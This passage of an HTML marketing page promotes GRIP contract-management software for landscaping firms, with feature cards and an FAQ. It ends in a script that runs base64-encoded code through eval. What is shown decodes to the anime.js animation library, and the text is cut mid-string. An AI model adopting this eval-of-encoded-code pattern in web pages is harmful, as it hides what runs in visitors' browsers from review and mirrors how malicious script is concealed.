style=\"color:#64748B;font-size:14px;margin:0;line-height:1.6;\">You see what you pay for cyclical maintenance and what additional work is added on top per category, instead of one lump invoice without substantiation.<\/p>\n      <\/div>\n\n      <div class=\"sm-card\" style=\"background:#F8FAFC;padding:28px 24px;flex:1 1 300px;max-width:340px;\" data-reveal data-reveal-delay=\"80\">\n        <div style=\"width:40px;height:40px;background:#E8F0FF;border-radius:10px;display:flex;align-items:center;justify-content:center;margin-bottom:16px;font-size:17px;font-weight:700;color:#006BFF;\">&#10003;<\/div>\n        <h3 style=\"font-size:16px;font-weight:700;color:#0F172A;margin:0 0 6px 0;line-height:1.3;\">Green alongside your other contracts<\/h3>\n        <p style=\"color:#64748B;font-size:14px;margin:0;line-height:1.6;\">Your green contract sits next to your cleaning and other supplier contracts in the same contract management, with the same actions, agreements and documents.<\/p>\n      <\/div>\n\n      <div class=\"sm-card\" style=\"background:#F8FAFC;padding:28px 24px;flex:1 1 300px;max-width:340px;\" data-reveal data-reveal-delay=\"160\">\n        <div style=\"width:40px;height:40px;background:#E8F0FF;border-radius:10px;display:flex;align-items:center;justify-content:center;margin-bottom:16px;font-size:17px;font-weight:700;color:#006BFF;\">&#10003;<\/div>\n        <h3 style=\"font-size:16px;font-weight:700;color:#0F172A;margin:0 0 6px 0;line-height:1.3;\">Keep track of changes together<\/h3>\n        <p style=\"color:#64748B;font-size:14px;margin:0;line-height:1.6;\">You record changes together with your supplier through an approval workflow, so contract and reality do not drift apart.<\/p>\n      <\/div>\n\n    <\/div>\n\n  <\/div>\n<\/section>\n\n\n\n<section style=\"padding:96px 24px;background:#F8FAFC;font-family:'Poppins',sans-serif;\">\n  <div style=\"max-width:1120px;margin:0 auto;\">\n\n    <div class=\"sm-section-header\" data-reveal>\n      <span class=\"sm-eyebrow sm-eyebrow--orange\">What it gives you<\/span>\n      <h2 class=\"sm-h2\">What GRIP delivers for landscaping companies<\/h2>\n      <p class=\"sm-lede\" style=\"max-width:620px;margin:0 auto;\">GRIP brings your contract terms, your additional work and your registrations together in one place, so you steer on your revenue instead of on loose files.<\/p>\n    <\/div>\n\n    <div style=\"display:flex;flex-wrap:wrap;justify-content:center;gap:24px;\">\n\n      <div class=\"sm-card\" style=\"padding:32px 28px;flex:1 1 300px;max-width:340px;\" data-reveal data-reveal-delay=\"0\">\n        <div style=\"width:44px;height:44px;background:#FFECE7;border-radius:12px;display:flex;align-items:center;justify-content:center;margin-bottom:20px;font-size:18px;font-weight:700;color:#FF4B2A;\">&#10003;<\/div>\n        <h3 style=\"font-size:17px;font-weight:700;color:#0F172A;margin:0 0 8px 0;line-height:1.3;\">Control over every contract<\/h3>\n        <p style=\"color:#64748B;font-size:14px;margin:0;line-height:1.7;\">From calculation to change: one dashboard shows you where every contract stands.<\/p>\n      <\/div>\n\n      <div class=\"sm-card\" style=\"padding:32px 28px;flex:1 1 300px;max-width:340px;\" data-reveal data-reveal-delay=\"80\">\n        <div style=\"width:44px;height:44px;background:#FFECE7;border-radius:12px;display:flex;align-items:center;justify-content:center;margin-bottom:20px;font-size:18px;font-weight:700;color:#FF4B2A;\">&#10003;<\/div>\n        <h3 style=\"font-size:17px;font-weight:700;color:#0F172A;margin:0 0 8px 0;line-height:1.3;\">Additional work that does get invoiced<\/h3>\n        <p style=\"color:#64748B;font-size:14px;margin:0;line-height:1.7;\">You register it at the source and see per contract what is still outstanding.<\/p>\n      <\/div>\n\n      <div class=\"sm-card\" style=\"padding:32px 28px;flex:1 1 300px;max-width:340px;\" data-reveal data-reveal-delay=\"160\">\n        <div style=\"width:44px;height:44px;background:#FFECE7;border-radius:12px;display:flex;align-items:center;justify-content:center;margin-bottom:20px;font-size:18px;font-weight:700;color:#FF4B2A;\">&#10003;<\/div>\n        <h3 style=\"font-size:17px;font-weight:700;color:#0F172A;margin:0 0 8px 0;line-height:1.3;\">Insight into your margin per contract<\/h3>\n        <p style=\"color:#64748B;font-size:14px;margin:0;line-height:1.7;\">You see what was agreed, what was delivered and how much of it was invoiced.<\/p>\n      <\/div>\n\n      <div class=\"sm-card\" style=\"padding:32px 28px;flex:1 1 300px;max-width:340px;\" data-reveal data-reveal-delay=\"240\">\n        <div style=\"width:44px;height:44px;background:#FFECE7;border-radius:12px;display:flex;align-items:center;justify-content:center;margin-bottom:20px;font-size:18px;font-weight:700;color:#FF4B2A;\">&#10003;<\/div>\n        <h3 style=\"font-size:17px;font-weight:700;color:#0F172A;margin:0 0 8px 0;line-height:1.3;\">Deliver demonstrably<\/h3>\n        <p style=\"color:#64748B;font-size:14px;margin:0;line-height:1.7;\">Report to your client without building separate reports for it.<\/p>\n      <\/div>\n\n      <div class=\"sm-card\" style=\"padding:32px 28px;flex:1 1 300px;max-width:340px;\" data-reveal data-reveal-delay=\"320\">\n        <div style=\"width:44px;height:44px;background:#FFECE7;border-radius:12px;display:flex;align-items:center;justify-content:center;margin-bottom:20px;font-size:18px;font-weight:700;color:#FF4B2A;\">&#10003;<\/div>\n        <h3 style=\"font-size:17px;font-weight:700;color:#0F172A;margin:0 0 8px 0;line-height:1.3;\">Less manual work<\/h3>\n        <p style=\"color:#64748B;font-size:14px;margin:0;line-height:1.7;\">Contract data and registrations come together automatically, so your team keeps time for the actual work.<\/p>\n      <\/div>\n\n    <\/div>\n\n    <div style=\"max-width:760px;margin:32px auto 0;text-align:center;\" data-reveal>\n      <p style=\"color:#64748B;font-size:14px;line-height:1.7;margin:0;\">That way you follow your green contract in GRIP from the first calculation to the post-calculation on budget hours and revenue. <a href=\"https:\/\/www.grip-facility.com\/en\/schedule-demo\/\" class=\"sm-link\" style=\"color:#006BFF;white-space:nowrap;\">Book a demo &rarr;<\/a><\/p>\n    <\/div>\n\n  <\/div>\n<\/section>\n\n\n\n<section style=\"padding:96px 24px;background:#F8FAFC;font-family:'Poppins',sans-serif;\">\n<style>\n.sm-faq { max-width:800px; margin:0 auto; }\n.sm-faq details { background:#fff; border:1px solid #E2E8F0; border-radius:12px; margin-bottom:12px; overflow:hidden; box-shadow:0 1px 2px rgba(15,23,42,.06); }\n.sm-faq summary { list-style:none; cursor:pointer; padding:20px 24px; font-size:16px; font-weight:600; color:#0F172A; display:flex; align-items:center; justify-content:space-between; gap:16px; }\n.sm-faq summary::-webkit-details-marker { display:none; }\n.sm-faq summary::after { content:\"+\"; flex-shrink:0; font-size:22px; line-height:1; font-weight:400; color:#006BFF; transition:transform .2s ease; }\n.sm-faq details[open] summary::after { transform:rotate(45deg); }\n.sm-faq .sm-faq-a { padding:0 24px 22px; font-size:14px; line-height:1.7; color:#64748B; }\n.sm-faq .sm-faq-a p { margin:0; }\n@media (prefers-reduced-motion: reduce) { .sm-faq summary::after { transition:none; } }\n<\/style>\n<div class=\"sm-section-header\" style=\"margin-bottom:48px;\" data-reveal>\n  <h2 class=\"sm-h2\"><span style=\"color:#006BFF;\">Frequently asked questions<\/span> from landscaping companies<\/h2>\n<\/div>\n<div class=\"sm-faq\" data-reveal>\n  <details>\n    <summary><span>Does GRIP work with specifications or image-quality contracts?<\/span><\/summary>\n    <div class=\"sm-faq-a\"><p>GRIP is not a specification tool. In GRIP you record what you agreed on the basis of the specification: the contract value, the work and the frequencies, plus everything that is added during the contract. Your specification stays leading, GRIP keeps track of what happens with it financially and contractually.<\/p><\/div>\n  <\/details>\n  <details>\n    <summary><span>What about planning in GRIP?<\/span><\/summary>\n    <div class=\"sm-faq-a\"><p>GRIP does no staff or machine planning, that stays in your own planning system. In GRIP you keep control of your contract, your calculation, your additional work and your proof of performance. Budget hours and invoice amounts are passed on to your ERP or planning tool.<\/p><\/div>\n  <\/details>\n  <details>\n    <summary><span>How do I register extra and additional work?<\/span><\/summary>\n    <div class=\"sm-faq-a\"><p>You register additional work per category with hours and rate, linked to the contract and the location. That shows you per contract what was delivered outside the base price and how much of it has already been invoiced.<\/p><\/div>\n  <\/details>\n  <details>\n    <summary><span>Is this for the landscaping company or for the client?<\/span><\/summary>\n    <div class=\"sm-faq-a\"><p>For both, in the same environment. The landscaping company manages the contract up to and including post-calculation and invoicing. The client or the consultancy follows performance and costs and approves changes.<\/p><\/div>\n  <\/details>\n  <details>\n    <summary><span>Can I work with several clients in GRIP?<\/span><\/summary>\n    <div class=\"sm-faq-a\"><p>Yes. GRIP is designed for service providers with several clients. You manage all contracts from one overview and set per employee who may see and edit which contracts.<\/p><\/div>\n  <\/details>\n  <details>\n    <summary><span>What if green maintenance is only part of our work?<\/span><\/summary>\n    <div class=\"sm-faq-a\"><p>That is no problem. You manage green contracts next to cleaning and other maintenance contracts in the same environment, in the same way.<\/p><\/div>\n  <\/details>\n  <details>\n    <summary><span>Can we switch without losing our existing contract data?<\/span><\/summary>\n    <div class=\"sm-faq-a\"><p>Yes. When you switch we bring your existing contracts and agreements across into GRIP, so you carry on from your own file instead of starting empty.<\/p><\/div>\n  <\/details>\n  <details>\n    <summary><span>How do invoices and budget hours reach our ERP system?<\/span><\/summary>\n    <div class=\"sm-faq-a\"><p>After post-calculation GRIP passes the invoice amounts per location and the matching budget hours on to your own ERP system or planning tool, settlements and provisions included.<\/p><\/div>\n  <\/details>\n<\/div>\n<\/section>\n\n\n\n<section style=\"padding:88px 24px;background:#006BFF;font-family:'Poppins',sans-serif;text-align:center;\">\n  <div style=\"max-width:680px;margin:0 auto;\" data-reveal>\n    <h2 style=\"font-family:'Poppins',sans-serif;font-size:clamp(1.75rem,3.2vw,2.5rem);font-weight:700;color:#fff;margin:0 0 16px 0;line-height:1.25;\">Ready to get control of your green contracts?<\/h2>\n    <p style=\"font-size:17px;color:rgba(255,255,255,.9);line-height:1.65;margin:0 0 36px 0;\">Discover how GRIP helps you calculate more sharply, keep your contracts adding up and make what you deliver demonstrable.<\/p>\n    <div style=\"display:flex;gap:16px;justify-content:center;flex-wrap:wrap;\">\n      <a href=\"https:\/\/www.grip-facility.com\/en\/schedule-demo\/\" style=\"background:#fff;color:#006BFF;font-size:16px;font-weight:600;padding:14px 28px;border-radius:8px;text-decoration:none;box-shadow:0 12px 28px rgba(15,23,42,.16);\">Book a demo<\/a>\n      <a href=\"https:\/\/www.grip-facility.com\/en\/pricing\/\" style=\"background:rgba(255,255,255,.12);border:1px solid rgba(255,255,255,.45);color:#fff;font-size:16px;font-weight:600;padding:14px 28px;border-radius:8px;text-decoration:none;\">View pricing<\/a>\n    <\/div>\n  <\/div>\n<\/section>\n\n\n\n<div class=\"sm-anim-controller\" aria-hidden=\"true\"><\/div>\n<style>\n.sm-card{transition:transform .3s cubic-bezier(.2,.7,.2,1),box-shadow .3s cubic-bezier(.2,.7,.2,1);}\n.sm-card:hover{transform:translateY(-5px);box-shadow:0 20px 44px rgba(15,23,42,.13),0 6px 14px rgba(15,23,42,.06);}\n.smh-hero__mockup-bar{will-change:transform;}\n<\/style>\n<script>eval(atob(\"LyoKICogYW5pbWUuanMgdjMuMi4yCiAqIChjKSAyMDIzIEp1bGlhbiBHYXJuaWVyCiAqIFJlbGVhc2VkIHVuZGVyIHRoZSBNSVQgbGljZW5zZQogKiBhbmltZWpzLmNvbQogKi8KCiFmdW5jdGlvbihuLGUpeyJvYmplY3QiPT10eXBlb2YgZXhwb3J0cyYmInVuZGVmaW5lZCIhPXR5cGVvZiBtb2R1bGU\/bW9kdWxlLmV4cG9ydHM9ZSgpOiJmdW5jdGlvbiI9PXR5cGVvZiBkZWZpbmUmJmRlZmluZS5hbWQ\/ZGVmaW5lKGUpOm4uYW5pbWU9ZSgpfSh0aGlzLGZ1bmN0aW9uKCl7InVzZSBzdHJpY3QiO3ZhciBpPXt1cGRhdGU6bnVsbCxiZWdpbjpudWxsLGxvb3BCZWdpbjpudWxsLGNoYW5nZUJlZ2luOm51bGwsY2hhbmdlOm51bGwsY2hhbmdlQ29tcGxldGU6bnVsbCxsb29wQ29tcGxldGU6bnVsbCxjb21wbGV0ZTpudWxsLGxvb3A6MSxkaXJlY3Rpb246Im5vcm1hbCIsYXV0b3BsYXk6ITAsdGltZWxpbmVPZmZzZXQ6MH0sTT17ZHVyYXRpb246MWUzLGRlbGF5OjAsZW5kRGVsYXk6MCxlYXNpbmc6ImVhc2VPdXRFbGFzdGljKDEsIC41KSIscm91bmQ6MH0saj1bInRyYW5zbGF0ZVgiLCJ0cmFuc2xhdGVZIiwidHJhbnNsYXRlWiIsInJvdGF0ZSIsInJvdGF0ZVgiLCJyb3RhdGVZIiwicm90YXRlWiIsInNjYWxlIiwic2NhbGVYIiwic2NhbGVZIiwic2NhbGVaIiwic2tldyIsInNrZXdYIiwic2tld1kiLCJwZXJzcGVjdGl2ZSIsIm1hdHJpeCIsIm1hdHJpeDNkIl0sbD17Q1NTOnt9LHNwcmluZ3M6e319O2Z1bmN0aW9uIEMobixlLHQpe3JldHVybiBNYXRoLm1pbihNYXRoLm1heChuLGUpLHQpfWZ1bmN0aW9uIHUobixlKXtyZXR1cm4tMTxuLmluZGV4T2YoZSl9ZnVuY3Rpb24gbyhuLGUpe3JldHVybiBuLmFwcGx5KG51bGwsZSl9dmFyIHc9e2FycjpmdW5jdGlvbihuKXtyZXR1cm4gQXJyYXkuaXNBcnJheShuKX0sb2JqOmZ1bmN0aW9uKG4pe3JldHVybiB1KE9iamVjdC5wcm90b3R5cGUudG9TdHJpbmcuY2FsbChuKSwiT2JqZWN0Iil9LHB0aDpmdW5jdGlvbihuKXtyZXR1cm4gdy5vYmoobikmJm4uaGFzT3duUHJvcGVydHkoInRvdGFsTGVuZ3RoIil9LHN2ZzpmdW5jdGlvbihuKXtyZXR1cm4gbiBpbnN0YW5jZW9mIFNWR0VsZW1lbnR9LGlucDpmdW5jdGlvbihuKXtyZXR1cm4gbiBpbnN0YW5jZW9mIEhUTUxJbnB1dEVsZW1lbnR9LGRvbTpmdW5jdGlvbihuKXtyZXR1cm4gbi5ub2RlVHlwZXx8dy5zdmcobil9LHN0cjpmdW5jdGlvbihuKXtyZXR1cm4ic3RyaW5nIj09dHlwZW9mIG59LGZuYzpmdW5jdGlvbihuKXtyZXR1cm4iZnVuY3Rpb24iPT10eXBlb2Ygbn0sdW5kOmZ1bmN0aW9uKG4pe3JldHVybiB2b2lkIDA9PT1ufSxuaWw6ZnVuY3Rpb24obil7cmV0dXJuIHcudW5kKG4pfHxudWxsPT09bn0saGV4OmZ1bmN0aW9uKG4pe3JldHVybi8oXiNbMC05QS1GXXs2fSQpfCheI1swLTlBLUZdezN9JCkvaS50ZXN0KG4pfSxyZ2I6ZnVuY3Rpb24obil7cmV0dXJuL15yZ2IvLnRlc3Qobil9LGhzbDpmdW5jdGlvbihuKXtyZXR1cm4vXmhzbC8udGVzdChuKX0sY29sOmZ1bmN0aW9uKG4pe3JldHVybiB3LmhleChuKXx8dy5yZ2Iobil8fHcuaHNsKG4pfSxrZXk6ZnVuY3Rpb24obil7cmV0dXJuIWkuaGFzT3duUHJvcGVydHkobikmJiFNLmhhc093blByb3BlcnR5KG4pJiYidGFyZ2V0cyIhPT1uJiYia2V5ZnJhbWVzIiE9PW59fTtmdW5jdGlvbiBkKG4pe249L1woKFteKV0rKVwpLy5leGVjKG4pO3JldHVybiBuP25bMV0uc3BsaXQoIiwiKS5tYXAoZnVuY3Rpb24obil7cmV0dXJuIHBhcnNlRmxvYXQobil9KTpbXX1mdW5jdGlvbiBjKHIsdCl7dmFyIG49ZChyKSxlPUMody51bmQoblswXSk\/MTpuWzBdLC4xLDEwMCksYT1DKHcudW5kKG5bMV0pPzEwMDpuWzFdLC4xLDEwMCksbz1DKHcudW5kKG5bMl0pPzEwOm5bMl0sLjEsMTAwKSxuPUMody51bmQoblszXSk\/MDpuWzNdLC4xLDEwMCksdT1NYXRoLnNxcnQoYS9lKSxpPW8vKDIqTWF0aC5zcXJ0KGEqZSkpLGM9aTwxP3UqTWF0aC5zcXJ0KDEtaSppKTowLHM9aTwxPyhpKnUtbikvYzotbit1O2Z1bmN0aW9uIGYobil7dmFyIGU9dD90Km4vMWUzOm4sZT1pPDE\/TWF0aC5leHAoLWUqaSp1KSooK01hdGguY29zKGMqZSkrcypNYXRoLnNpbihjKmUpKTooMStzKmUpKk1hdGguZXhwKC1lKnUpO3JldHVybiAwPT09bnx8MT09PW4\/bjoxLWV9cmV0dXJuIHQ\/ZjpmdW5jdGlvbigpe3ZhciBuPWwuc3ByaW5nc1tyXTtpZihuKXJldHVybiBuO2Zvcih2YXIgZT0wLHQ9MDs7KWlmKDE9PT1mKGUrPTEvNikpe2lmKDE2PD0rK3QpYnJlYWt9ZWxzZSB0PTA7cmV0dXJuIG49ZSooMS82KSoxZTMsbC5zcHJpbmdzW3JdPW59fWZ1bmN0aW9uIHEoZSl7cmV0dXJuIHZvaWQgMD09PWUmJihlPTEwKSxmdW5jdGlvbihuKXtyZXR1cm4gTWF0aC5jZWlsKEMobiwxZS02LDEpKmUpKigxL2UpfX12YXIgSD1mdW5jdGlvbihiLGUsTSx0KXtpZigwPD1iJiZiPD0xJiYwPD1NJiZNPD0xKXt2YXIgeD1uZXcgRmxvYXQzMkFycmF5KDExKTtpZihiIT09ZXx8TSE9PXQpZm9yKHZhciBuPTA7bjwxMTsrK24peFtuXT1rKC4xKm4sYixNKTtyZXR1cm4gZnVuY3Rpb24obil7cmV0dXJuIGI9PT1lJiZNPT09dHx8MD09PW58fDE9PT1uP246ayhyKG4pLGUsdCl9fWZ1bmN0aW9uIHIobil7Zm9yKHZhciBlPTAsdD0xOzEwIT09dCYmeFt0XTw9bjsrK3QpZSs9LjE7dmFyIHI9ZSsuMSooKG4teFstLXRdKS8oeFt0KzFdLXhbdF0pKSxhPU8ocixiLE0pO2lmKC4wMDE8PWEpe2Zvcih2YXIgbz1uLHU9cixpPWIsYz1NLHM9MDtzPDQ7KytzKXt2YXIgZj1PKHUsaSxjKTtpZigwPT09ZilyZXR1cm4gdTt1LT0oayh1LGksYyktbykvZn1yZXR1cm4gdX1pZigwPT09YSlyZXR1cm4gcjtmb3IodmFyIGwsZCxwPW4saD1lLGc9ZSsuMSxtPWIsdj1NLHk9MDswPChsPWsoZD1oKyhnLWgpLzIsbSx2KS1wKT9nPWQ6aD1kLDFlLTc8TWF0aC5hYnMobCkmJisreTwxMDspO3JldHVybiBkfX07ZnVuY3Rpb24gcihuLGUpe3JldHVybiAxLTMqZSszKm59ZnVuY3Rpb24gayhuLGUsdCl7cmV0dXJuKChyKGUsdCkqbisoMyp0LTYqZSkpKm4rMyplKSpufWZ1bmN0aW9uIE8obixlLHQpe3JldHVybiAzKnIoZSx0KSpuKm4rMiooMyp0LTYqZSkqbiszKmV9ZT17bGluZWFyOmZ1bmN0aW9uKCl7cmV0dXJuIGZ1bmN0aW9uKG4pe3JldHVybiBufX19LHQ9e1NpbmU6ZnVuY3Rpb24oKXtyZXR1cm4gZnVuY3Rpb24obil7cmV0dXJuIDEtTWF0aC5jb3MobipNYXRoLlBJLzIpfX0sRXhwbzpmdW5jdGlvbigpe3JldHVybiBmdW5jdGlvbihuKXtyZXR1cm4gbj9NYXRoLnBvdygyLDEwKm4tMTApOjB9fSxDaXJjOmZ1bmN0aW9uKCl7cmV0dXJuIGZ1bmN0aW9uKG4pe3JldHVybiAxLU1hdGguc3FydCgxLW4qbil9fSxCYWNrOmZ1bmN0aW9uKCl7cmV0dXJuIGZ1bmN0aW9uKG4pe3JldHVybiBuKm4qKDMqbi0yKX19LEJvdW5jZTpmdW5jdGlvbigpe3JldHVybiBmdW5jdGlvbihuKXtmb3IodmFyIGUsdD00O248KChlPU1hdGgucG93KDIsLS10KSktMSkvMTE7KTtyZXR1cm4gMS9NYXRoLnBvdyg0LDMtdCktNy41NjI1Kk1hdGgucG93KCgzKmUtMikvMjItbiwyKX19LEVsYXN0aWM6ZnVuY3Rpb24obixlKXt2b2lkIDA9PT1lJiYoZT0uNSk7dmFyIHQ9QyhuPXZvaWQgMD09PW4\/MTpuLDEsMTApLHI9QyhlLC4xLDIpO3JldHVybiBmdW5jdGlvbihuKXtyZXR1cm4gMD09PW58fDE9PT1uP246LXQqTWF0aC5wb3coMiwxMCoobi0xKSkqTWF0aC5zaW4oKG4tMS1yLygyKk1hdGguUEkpKk1hdGguYXNpbigxL3QpKSooMipNYXRoLlBJKS9yKX19fSxbIlF1YWQiLCJDdWJpYyIsIlF1YXJ0IiwiUXVpbnQiXS5mb3JFYWNoKGZ1bmN0aW9uKG4sZSl7dFtuXT1mdW5jdGlvbigpe3JldHVybiBmdW5jdGlvbihuKXtyZXR1cm4gTWF0aC5wb3cobixlKzIpfX19KSxPYmplY3Qua2V5cyh0KS5mb3JFYWNoKGZ1bmN0aW9uKG4pe3ZhciByPXRbbl07ZVsiZWFzZUluIituXT1yLGVbImVhc2VPdXQiK25dPWZ1bmN0aW9uKGUsdCl7cmV0dXJuIGZ1bmN0aW9uKG4pe3JldHVybiAxLXIoZSx0KSgxLW4pfX0sZVsiZWFzZUluT3V0IituXT1mdW5jdGlvbihlLHQpe3JldHVybiBmdW5jdGlvbihuKXtyZXR1cm4gbjwuNT9yKGUsdCkoMipuKS8yOjEtcihlLHQpKC0yKm4rMikvMn19LGVbImVhc2VPdXRJbiIrbl09ZnVuY3Rpb24oZSx0KXtyZXR1cm4gZnVuY3Rpb24obil7cmV0dXJuIG48LjU\/KDEtcihlLHQpKDEtMipuKSkvMjoocihlLHQpKDIqbi0xKSsxKS8yfX19KTt2YXIgZSx0LHM9ZTtmdW5jdGlvbiBQKG4sZSl7aWYody5mbmMobikpcmV0dXJuIG47dmFyIHQ9bi5zcGxpdCgiKCIpWzBdLHI9c1t0XSxhPWQobik7c3dpdGNoKHQpe2Nhc2Uic3ByaW5nIjpyZXR1cm4gYyhuLGUpO2Nhc2UiY3ViaWNCZXppZXIiOnJldHVybiBvKEgsYSk7Y2FzZSJzdGVwcyI6cmV0dXJuIG8ocSxhKTtkZWZhdWx0OnJldHVybiBvKHIsYSl9fWZ1bmN0aW9uIGEobil7dHJ5e3JldHVybiBkb2N1bWVudC5xdWVyeVNlbGVjdG9yQWxsKG4pfWNhdGNoKG4pe319ZnVuY3Rpb24gSShuLGUpe2Zvcih2YXIgdCxyPW4ubGVuZ3RoLGE9Mjw9YXJndW1lbnRzLmxlbmd0aD9lOnZvaWQgMCxvPVtdLHU9MDt1PHI7dSsrKXUgaW4gbiYmKHQ9blt1XSxlLmNhbGwoYSx0LHUsbikpJiZvLnB1c2godCk7cmV0dXJuIG99ZnVuY3Rpb24gZihuKXtyZXR1cm4gbi5yZWR1Y2UoZnVuY3Rpb24obixlKXtyZXR1cm4gbi5jb25jYXQody5hcnIoZSk\/ZihlKTplKX0sW10pfWZ1bmN0aW9uIHAobil7cmV0dXJuIHcuYXJyKG4pP246KG49dy5zdHIobik\/YShuKXx8bjpuKWluc3RhbmNlb2YgTm9kZUxpc3R8fG4gaW5zdGFuY2VvZiBIVE1MQ29sbGVjdGlvbj9bXS5zbGljZS5jYWxsKG4pOltuXX1mdW5jdGlvbiBoKG4sZSl7cmV0dXJuIG4uc29tZShmdW5jdGlvbihuKXtyZXR1cm4gbj09PWV9KX1mdW5jdGlvbiBnKG4pe3ZhciBlLHQ9e307Zm9yKGUgaW4gbil0W2VdPW5bZV07cmV0dXJuIHR9ZnVuY3Rpb24geChuLGUpe3ZhciB0LHI9ZyhuKTtmb3IodCBpbiBuKXJbdF09KGUuaGFzT3duUHJvcGVydHkodCk\/ZTpuKVt0XTtyZXR1cm4gcn1mdW5jdGlvbiBEKG4sZSl7dmFyIHQscj1nKG4pO2Zvcih0IGluIGUpclt0XT0ody51bmQoblt0XSk\/ZTpuKVt0XTtyZXR1cm4gcn1mdW5jdGlvbiBWKG4pe3ZhciBlLHQscixhLG8sdSxpO3JldHVybiB3LnJnYihuKT8oZT0vcmdiXCgoXGQrLFxzKltcZF0rLFxzKltcZF0rKVwpL2cuZXhlYyh0PW4pKT8icmdiYSgiK2VbMV0rIiwxKSI6dDp3LmhleChuKT8oZT0oZT1uKS5yZXBsYWNlKC9eIz8oW2EtZlxkXSkoW2EtZlxkXSkoW2EtZlxkXSkkL2ksZnVuY3Rpb24obixlLHQscil7cmV0dXJuIGUrZSt0K3QrcityfSksZT0vXiM\/KFthLWZcZF17Mn0pKFthLWZcZF17Mn0pKFthLWZcZF17Mn0pJC9pLmV4ZWMoZSksInJnYmEoIitwYXJzZUludChlWzFdLDE2KSsiLCIrcGFyc2VJbnQoZVsyXSwxNikrIiwiK3BhcnNlSW50KGVbM10sMTYpKyIsMSkiKTp3LmhzbChuKT8odD0vaHNsXCgoXGQrKSxccyooW1xkLl0rKSUsXHMqKFtcZC5dKyklXCkvZy5leGVjKHQ9bil8fC9oc2xhXCgoXGQrKSxccyooW1xkLl0rKSUsXHMqKFtcZC5dKyklLFxzKihbXGQuXSspXCkvZy5leGVjKHQpLG49cGFyc2VJbnQodFsxXSwxMCkvMzYwLHU9cGFyc2VJbnQodFsyXSwxMCkvMTAwLGk9cGFyc2VJbnQodFszXSwxMCkvMTAwLHQ9dFs0XXx8MSwwPT11P3I9YT1vPWk6KHI9Yyh1PTIqaS0oaT1pPC41P2kqKDErdSk6aSt1LWkqdSksaSxuKzEvMyksYT1jKHUsaSxuKSxvPWModSxpLG4tMS8zKSksInJnYmEoIisyNTUqcisiLCIrMjU1KmErIiwiKzI1NSpvKyIsIit0KyIpIik6dm9pZCAwO2Z1bmN0aW9uIGMobixlLHQpe3JldHVybiB0PDAmJih0Kz0xKSwxPHQmJi0tdCx0PDEvNj9uKzYqKGUtbikqdDp0PC41P2U6dDwyLzM\/bisoZS1uKSooMi8zLXQpKjY6bn19ZnVuY3Rpb24gQihuKXtuPS9bKy1dP1xkKlwuP1xkKyg\/OlwuXGQrKT8oPzpbZUVdWystXT9cZCspPyglfHB4fHB0fGVtfHJlbXxpbnxjbXxtbXxleHxjaHxwY3x2d3x2aHx2bWlufHZtYXh8ZGVnfHJhZHx0dXJuKT8kLy5leGVjKG4pO2lmKG4pcmV0dXJuIG5bMV19ZnVuY3Rpb24gbShuLGUpe3JldHVybiB3LmZuYyhuKT9uKGUudGFyZ2V0LGUuaWQsZS50b3RhbCk6bn1mdW5jdGlvbiB2KG4sZSl7cmV0dXJuIG4uZ2V0QXR0cmlidXRlKGUpfWZ1bmN0aW9uIHkobixlLHQpe3ZhciByLGEsbztyZXR1cm4gaChbdCwiZGVnIiwicmFkIiwidHVybiJdLEIoZSkpP2U6KHI9bC5DU1NbZSt0XSx3LnVuZChyKT8oYT1kb2N1bWVudC5jcmVhdGVFbGVtZW50KG4udGFnTmFtZSksKG49bi5wYXJlbnROb2RlJiZuLnBhcmVudE5vZGUhPT1kb2N1bWVudD9uLnBhcmVudE5vZGU6ZG9jdW1lbnQuYm9keSkuYXBwZW5kQ2hpbGQoYSksYS5zdHlsZS5wb3NpdGlvbj0iYWJzb2x1dGUiLGEuc3R5bGUud2lkdGg9MTAwK3Qsbz0xMDAvYS5vZmZzZXRXaWR0aCxuLnJlbW92ZUNoaWxkKGEpLG49bypwYXJzZUZsb2F0KGUpLGwuQ1NTW2UrdF09bik6cil9ZnVuY3Rpb24gJChuLGUsdCl7dmFyIHI7aWYoZSBpbiBuLnN0eWxlKXJldHVybiByPWUucmVwbGFjZSgvKFthLXpdKShbQS1aXSkvZywiJDEtJDIiKS50b0xvd2VyQ2FzZSgpLGU9bi5zdHlsZVtlXXx8Z2V0Q29tcHV0ZWRTdHlsZShuKS5nZXRQcm9wZXJ0eVZhbHVlKHIpfHwiMCIsdD95KG4sZSx0KTplfWZ1bmN0aW9uIGIobixlKXtyZXR1cm4gdy5kb20obikmJiF3LmlucChuKSYmKCF3Lm5pbCh2KG4sZSkpfHx3LnN2ZyhuKSYmbltlXSk\/ImF0dHJpYnV0ZSI6dy5kb20obikmJmgoaixlKT8idHJhbnNmb3JtIjp3LmRvbShuKSYmInRyYW5zZm9ybSIhPT1lJiYkKG4sZSk\/ImNzcyI6bnVsbCE9bltlXT8ib2JqZWN0Ijp2b2lkIDB9ZnVuY3Rpb24gVyhuKXtpZih3LmRvbShuKSl7Zm9yKHZhciBlLHQ9bi5zdHlsZS50cmFuc2Zvcm18fCIiLHI9LyhcdyspXCgoW14pXSopXCkvZyxhPW5ldyBNYXA7ZT1yLmV4ZWModCk7KWEuc2V0KGVbMV0sZVsyXSk7cmV0dXJuIGF9fWZ1bmN0aW9uIFgobixlLHQscil7dmFyIGE9dShlLCJzY2FsZSIpPzE6MCsodShhPWUsInRyYW5zbGF0ZSIpfHwicGVyc3BlY3RpdmUiPT09YT8icHgiOnUoYSwicm90YXRlIil8fHUoYSwic2tldyIpPyJkZWciOnZvaWQgMCksbz1XKG4pLmdldChlKXx8YTtyZXR1cm4gdCYmKHQudHJhbnNmb3Jtcy5saXN0LnNldChlLG8pLHQudHJhbnNmb3Jtcy5sYXN0PWUpLHI\/eShuLG8scik6b31mdW5jdGlvbiBUKG4sZSx0LHIpe3N3aXRjaChiKG4sZSkpe2Nhc2UidHJhbnNmb3JtIjpyZXR1cm4gWChuLGUscix0KTtjYXNlImNzcyI6cmV0dXJuICQobixlLHQpO2Nhc2UiYXR0cmlidXRlIjpyZXR1cm4gdihuLGUpO2RlZmF1bHQ6cmV0dXJuIG5bZV18fDB9fWZ1bmN0aW9uIEUobixlKXt2YXIgdD0vXihcKj18XCs9fC09KS8uZXhlYyhuKTtpZighdClyZXR1cm4gbjt2YXIgcj1CKG4pfHwwLGE9cGFyc2VGbG9hdChlKSxvPXBhcnNlRmxvYXQobi5yZXBsYWNlKHRbMF0sIiIpKTtzd2l0Y2godFswXVswXSl7Y2FzZSIrIjpyZXR1cm4gYStvK3I7Y2FzZSItIjpyZXR1cm4gYS1vK3I7Y2FzZSIqIjpyZXR1cm4gYSpvK3J9fWZ1bmN0aW9uIFkobixlKXt2YXIgdDtyZX